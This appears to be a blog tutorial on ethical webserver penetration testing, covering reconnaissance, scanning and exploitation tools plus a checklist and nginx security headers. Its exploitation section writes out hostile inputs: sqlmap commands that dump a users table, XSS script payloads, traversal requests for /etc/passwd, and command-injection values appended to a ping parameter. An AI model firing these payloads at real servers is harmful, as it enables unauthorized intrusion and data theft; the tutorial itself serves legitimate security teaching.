A Complete Guide to Webserver Pentesting: Tools, Techniques, and Checklist
Learn how to perform ethical penetration testing on web servers, from reconnaissance and scanning to exploitation using professional tools and a practical checklist.
- Phase 1: Reconnaissance
- Passive Reconnaissance
- Active Reconnaissance
- Phase 2: Scanning and Vulnerability Assessment
- Web Vulnerability Scanning
- SSL/TLS Testing
- Security Headers Check
- Phase 3: Exploitation
- SQL Injection
- XSS (Cross-Site Scripting)
- Directory Traversal
- Command Injection
- Webserver Pentesting Checklist
- Required Security Headers
- Ethical Notes
- Conclusion
Webserver pentesting is the process of ethically testing the security of a web server to find vulnerabilities before an attacker exploits them. This article covers the tools, techniques, and a complete checklist for conducting pentesting responsibly.
Phase 1: Reconnaissance
Before attacking, the attacker (or pentester) gathers as much information as possible about the target.
Passive Reconnaissance
# Gather information from public sources
whois target-server.com
dig target-server.com ANY
theHarvester -d target-server.com -b google,linkedin,github
# Find subdomains
subfinder -d target-server.com -o subdomains.txt
amass enum -passive -d target-server.com -o amass.txt
# Gather information via Google Dorking
site:target-server.com filetype:sql
site:target-server.com inurl:admin
site:target-server.com intitle:"index of"
Active Reconnaissance
# Scan ports and services
nmap -sV -sC -O -p- target-server.com
# Check the technology stack
whatweb target-server.com
wappalyzer target-server.com
# Directory enumeration
gobuster dir -u https://target-server.com -w /usr/share/wordlists/dirb/common.txt -x php,html,js
# Active subdomain enumeration
gobuster dns -d target-server.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Phase 2: Scanning and Vulnerability Assessment
Web Vulnerability Scanning
# Nikto - web server scanner
nikto -h https://target-server.com
# OWASP ZAP (GUI)
# Open ZAP → Quick Scan → enter the target URL
# WPScan - WordPress scanner
wpscan --url https://target-server.com --enumerate vp,vt,u
# Nuclei - template-based scanner
nuclei -u https://target-server.com -t cves/
SSL/TLS Testing
# Test the SSL configuration
testssl.sh target-server.com
# Check the certificate
openssl s_client -connect target-server.com:443 -servername target-server.com
# Online test
# https://www.ssllabs.com/ssltest/
Security Headers Check
# Check security headers
curl -s -I https://target-server.com | grep -i "strict-transport\|x-frame\|x-content-type\|x-xss\|content-security"
# Online check
# https://securityheaders.com/
Phase 3: Exploitation
SQL Injection
# Test with sqlmap
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D database_name --tables
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --dump
XSS (Cross-Site Scripting)
# Test reflected XSS
curl "https://target.com/search?q=<script>alert('XSS')</script>"
# Test stored XSS via POST
curl -X POST https://target.com/comment -d "comment=<script>alert('XSS')</script>"
Directory Traversal
# Test access to sensitive files
curl "https://target.com/../../../etc/passwd"
curl "https://target.com/....//....//etc/passwd"
Command Injection
# Test command injection
curl "https://target.com/ping?ip=127.0.0.1;cat /etc/passwd"
curl "https://target.com/ping?ip=127.0.0.1|whoami"
Webserver Pentesting Checklist
| Area | Tools | What Is Tested |
|---|---|---|
| Port Scanning | Nmap, Masscan | Open ports, running services |
| Web Scanning | Nikto, OWASP ZAP | Common vulnerabilities |
| SSL Testing | SSL Labs, testssl.sh | SSL/TLS certificate |
| Header Analysis | SecurityHeaders.com | Security headers |
| Credential Testing | Hydra, Medusa | Brute force login |
| CMS Scanning | WPScan, JoomlaScan | Vulnerable plugins/themes |
| API Testing | Postman, Burp Suite | API endpoint vulnerabilities |
| File Upload | Manual testing | Unrestricted file upload |
Required Security Headers
# Nginx security headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
Ethical Notes
Pentesting may only be performed on systems you own or for which you have written permission from the owner. Without permission, this activity is illegal and can be subject to legal penalties under Indonesia’s ITE Law.
Conclusion
Webserver pentesting is a systematic process that requires a deep understanding of the attack surface. From reconnaissance and scanning to exploitation, each phase has its own tools and techniques. Most importantly: always get permission before testing, and use this knowledge to strengthen defenses, not to attack.
Related Articles
Hardening Homelab Server Security: A Complete Guide
Secure your homelab server with essential hardening steps from SSH key authentication to service isolation and automated updates using this practical checklist.
SecurityIDS and IPS: Intrusion Detection and Prevention
Learn how IDS and IPS differ, how signature-based and anomaly-based detection work, where to deploy them, and practical Snort and Suricata examples.
SecurityWiFi Security: Understanding Airdump, the Dangers of Public WiFi, and How to Protect Yourself
A complete guide to WiFi security from both the attacker and defender side, covering airodump-ng, the risks of public WiFi, and practical tips for staying safe on wireless networks.
Your ideas deserve to be read by thousands of people.
ByteNesia is built for everyone. If you have experience, tutorials, or opinions about technology, write and share them here. Your name will be credited as a contributor.
Write anything: tool reviews, homelab tutorials, security tips, or your tech stories.